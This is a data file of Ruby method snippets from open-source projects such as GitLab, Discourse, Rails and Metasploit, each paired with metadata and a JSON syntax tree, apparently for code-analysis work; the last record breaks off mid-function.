{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/cluster_provider/k3s.rb","start_line":45,"raw_source":"def filter_credentials(credentials)\n          kubeconfig = YAML.safe_load(@k3s.kubeconfig)\n          ca_certificate = kubeconfig.dig('clusters', 0, 'cluster', 'certificate-authority-data')\n\n          credentials.merge('data' => credentials['data'].merge('ca.crt' => ca_certificate))\n        end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_credentials\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credentials\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"kubeconfig\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@k3s\"]},\"kubeconfig\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ca_certificate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kubeconfig\"]},\"dig\",{\"type\":\"str\",\"children\":[\"clusters\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"cluster\"]},{\"type\":\"str\",\"children\":[\"certificate-authority-data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ca.crt\"]},{\"type\":\"lvar\",\"children\":[\"ca_certificate\"]}]}]}]}]}]}]}]}]}","id":"30684934-da64-4c1d-b16b-184e6c3e47d6"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/application_record.rb","start_line":6,"raw_source":"def notification_email_enabled?\n    Rails.configuration.action_mailer.perform_deliveries &&\n      Rails.configuration.action_mailer.smtp_settings[:user_name].present?\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"notification_email_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"action_mailer\"]},\"perform_deliveries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"action_mailer\"]},\"smtp_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_name\"]}]},\"present?\"]}]}]}","id":"82eab2b3-daef-42e5-bd6b-27c120de818b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/enc_kdc_response.rb","start_line":204,"raw_source":"def decode_auth_time(input)\n            input.value[0].value\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_auth_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]}]}","id":"66e73bf6-e302-4926-8be0-2bccafcad261"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250114135814_ensure_runner_taggings_exist.rb","start_line":50,"raw_source":"def new_taggings_table_is_empty?\n    !connection.select_value('SELECT true FROM ci_runner_taggings LIMIT 1')\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"new_taggings_table_is_empty?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"select_value\",{\"type\":\"str\",\"children\":[\"SELECT true FROM ci_runner_taggings LIMIT 1\"]}]},\"!\"]}]}","id":"10b15d89-1251-4f79-89ec-6a3651faf671"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/async_indexes/postgres_async_index.rb","start_line":34,"raw_source":"def remove_whitespaces\n          definition.strip! if definition.present?\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_whitespaces\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"definition\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"definition\"]},\"strip!\"]},null]}]}","id":"d9cd5d03-2117-47e6-878a-fcd790437595"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/setup_helper.rb","start_line":130,"raw_source":"def ensure_single_socket!\n          addresses = Gitlab.config.repositories.storages.map { |_, storage| storage[:gitaly_address] }.uniq\n\n          raise ArgumentError, \"Your gitlab.yml contains more than one gitaly_address.\" if addresses.length > 1\n\n          address = addresses.first\n\n          if URI(address).scheme != 'unix'\n            raise ArgumentError, \"Automatic config.toml generation only supports 'unix:' addresses.\"\n          end\n\n          address\n        end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_single_socket!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"addresses\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"repositories\"]},\"storages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gitaly_address\"]}]}]},\"uniq\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addresses\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Your gitlab.yml contains more than one gitaly_address.\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addresses\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"address\"]}]},\"scheme\"]},\"!=\",{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Automatic config.toml generation only supports 'unix:' addresses.\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"address\"]}]}]}","id":"47782ca6-80f2-4d96-bc11-42e853ca59cb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/app/controllers/chat_controller.rb","start_line":60,"raw_source":"def create_channel\n    begin\n      providers = DiscourseChatIntegration::Provider.enabled_providers.map { |x| x::PROVIDER_NAME }\n\n      if !defined?(params[:channel]) && defined?(params[:channel][:provider])\n        raise Discourse::InvalidParameters, \"Provider is not valid\"\n      end\n\n      requested_provider = params[:channel][:provider]\n\n      if !providers.include?(requested_provider)\n        raise Discourse::InvalidParameters, \"Provider is not valid\"\n      end\n\n      allowed_keys =\n        DiscourseChatIntegration::Provider.get_by_name(\n          requested_provider,\n        )::CHANNEL_PARAMETERS.map { |p| p[:key].to_sym }\n\n      hash = params.require(:channel).permit(:provider, data: allowed_keys)\n\n      channel = DiscourseChatIntegration::Channel.new(hash)\n\n      raise Discourse::InvalidParameters, \"Channel is not valid\" if !channel.save\n\n      render_serialized channel, DiscourseChatIntegration::ChannelSerializer, root: \"channel\"\n    rescue Discourse::InvalidParameters => e\n      render json: { errors: [e.message] }, status: :unprocessable_entity\n    end\n  end","complexity_score":54.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_channel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"providers\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Provider\"]},\"enabled_providers\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"PROVIDER_NAME\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel\"]}]}]},\"!\"]},{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},{\"type\":\"str\",\"children\":[\"Provider is not valid\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"requested_provider\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"providers\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"requested_provider\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},{\"type\":\"str\",\"children\":[\"Provider is not valid\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"allowed_keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Provider\"]},\"get_by_name\",{\"type\":\"lvar\",\"children\":[\"requested_provider\"]}]},\"CHANNEL_PARAMETERS\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"to_sym\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"allowed_keys\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Channel\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"save\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},{\"type\":\"str\",\"children\":[\"Channel is not valid\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"ChannelSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"channel\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},null]}]}]}","id":"f651acdb-7f1a-4a4b-8ca0-98b06e269218"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/tag_spec.rb","start_line":4,"raw_source":"def make_some_tags(count: 3, tag_a_topic: false)\n    if tag_a_topic\n      Fabricate.times(count, :tag, topics: [Fabricate(:topic)])\n    else\n      Fabricate.times(count, :tag)\n    end\n  end","complexity_score":4.75,"ast_json":"{\"type\":\"def\",\"children\":[\"make_some_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"kwoptarg\",\"children\":[\"tag_a_topic\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_a_topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fabricate\"]},\"times\",{\"type\":\"lvar\",\"children\":[\"count\"]},{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topics\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"topic\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fabricate\"]},\"times\",{\"type\":\"lvar\",\"children\":[\"count\"]},{\"type\":\"sym\",\"children\":[\"tag\"]}]}]}]}","id":"b82f38bf-c7a6-4a8c-8473-5b04681112b1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/arguments.rb","start_line":34,"raw_source":"def initialize(fmt)\n        normalised_fmt = fmt.map { |key, metadata| [Array(key), metadata] }.to_h\n        self.fmt = normalised_fmt\n        self.longest = normalised_fmt.each_pair.map { |key, value| key.flatten.join(', ') + (value[0] ? ' ' + value[2].to_s : '') }.max_by(&:length)\n      end","complexity_score":27.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fmt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"normalised_fmt\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fmt\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"metadata\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"metadata\"]}]}]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fmt=\",{\"type\":\"lvar\",\"children\":[\"normalised_fmt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"longest=\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalised_fmt\"]},\"each_pair\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"flatten\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},\"max_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]}]}]}]}]}]}","id":"49be0b40-c7eb-4f93-a9b5-ddf0ec2effb0"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/helpers/assets_helper.rb","start_line":724,"raw_source":"def content_security_policy_nonce\n        return unless _context.request?\n\n        _context.request.env[CONTENT_SECURITY_POLICY_NONCE_REQUEST_KEY]\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"content_security_policy_nonce\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_context\"]},\"request?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_context\"]},\"request\"]},\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"CONTENT_SECURITY_POLICY_NONCE_REQUEST_KEY\"]}]}]}]}","id":"fd8f0dbd-5698-489a-941c-c7dca8fc9733"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/cluster.rb","start_line":65,"raw_source":"def redirect_io\n      super\n\n      @workers.each { |x| x.hup }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_io\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@workers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"hup\"]}]}]}]}","id":"2f722185-3993-431a-939c-32018b69427d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":758,"raw_source":"def test_signed_cookie_using_hybrid_serializer_can_read_from_json_dumped_value\n    @request.env[\"action_dispatch.cookies_serializer\"] = :hybrid\n\n    key_generator = @request.env[\"action_dispatch.key_generator\"]\n    secret = key_generator.generate_key(@request.env[\"action_dispatch.signed_cookie_salt\"])\n\n    json_value = ActiveSupport::MessageVerifier.new(secret, serializer: JSON).generate(45)\n    @request.headers[\"Cookie\"] = \"user_id=#{json_value}\"\n\n    get :get_signed_cookie\n\n    cookies = @controller.send :cookies\n    assert_not_equal 45, cookies[:user_id]\n    assert_equal 45, cookies.signed[:user_id]\n\n    assert_nil @response.cookies[\"user_id\"]\n  end","complexity_score":30.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_signed_cookie_using_hybrid_serializer_can_read_from_json_dumped_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"action_dispatch.cookies_serializer\"]},{\"type\":\"sym\",\"children\":[\"hybrid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key_generator\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_dispatch.key_generator\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_generator\"]},\"generate_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_dispatch.signed_cookie_salt\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageVerifier\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[null,\"JSON\"]}]}]}]},\"generate\",{\"type\":\"int\",\"children\":[45]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user_id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"get_signed_cookie\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"send\",{\"type\":\"sym\",\"children\":[\"cookies\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"int\",\"children\":[45]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[45]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"signed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"cookies\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]}]}]}","id":"d881ac50-26b0-4047-ad62-4f5758f875a2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/delivery_failure_tracker.rb","start_line":44,"raw_source":"def exhausted_deliveries_days\n    @exhausted_deliveries_days ||= redis.smembers(exhausted_deliveries_key).sort.map { |date| Date.new(date.slice(0, 4).to_i, date.slice(4, 2).to_i, date.slice(6, 2).to_i) }.uniq\n  end","complexity_score":24.28,"ast_json":"{\"type\":\"def\",\"children\":[\"exhausted_deliveries_days\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@exhausted_deliveries_days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"smembers\",{\"type\":\"send\",\"children\":[null,\"exhausted_deliveries_key\"]}]},\"sort\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"slice\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"slice\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"slice\",{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]}]}]},\"uniq\"]}]}]}","id":"b6cf5a3b-9b8f-4146-8016-880fd0f83afe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/external/source/unixasm/aix-power.rb","start_line":116,"raw_source":"def initialize(filename)\n    @src = Source.new(filename)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@src\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Source\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}","id":"64f1dd6b-8ceb-42ce-8e7b-4862bf15f8d3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/repository/test_regions.rb","start_line":83,"raw_source":"def test_search_raises_error_if_prefix_is_not_a_string\n    assert_raises ArgumentError do\n      @subject.search(\"string\")\n    end\n\n    assert_raises ArgumentError do\n      @subject.search(nil)\n    end\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_search_raises_error_if_prefix_is_not_a_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"search\",{\"type\":\"str\",\"children\":[\"string\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"search\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"2b807191-5066-4fac-bbfa-d37a3682e4f9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/hash_config_test.rb","start_line":282,"raw_source":"def test_seeds_defaults_to_primary\n        config = HashConfig.new(\"default_env\", \"primary\", { adapter: \"abstract\" })\n        assert_equal true, config.seeds?\n\n        config = HashConfig.new(\"default_env\", \"primary\", { adapter: \"abstract\", seeds: false })\n        assert_equal false, config.seeds?\n\n        config = HashConfig.new(\"default_env\", \"primary\", { adapter: \"abstract\", seeds: true })\n        assert_equal true, config.seeds?\n\n        config = HashConfig.new(\"default_env\", \"secondary\", { adapter: \"abstract\" })\n        config.stub(:primary?, false) do # primary? will return nil without proper Base.configurations\n          assert_equal false, config.seeds?\n        end\n\n        config = HashConfig.new(\"default_env\", \"secondary\", { adapter: \"abstract\", seeds: false })\n        config.stub(:primary?, false) do # primary? will return nil without proper Base.configurations\n          assert_equal false, config.seeds?\n        end\n\n        config = HashConfig.new(\"default_env\", \"secondary\", { adapter: \"abstract\", seeds: true })\n        config.stub(:primary?, false) do # primary? will return nil without proper Base.configurations\n          assert_equal true, config.seeds?\n        end\n      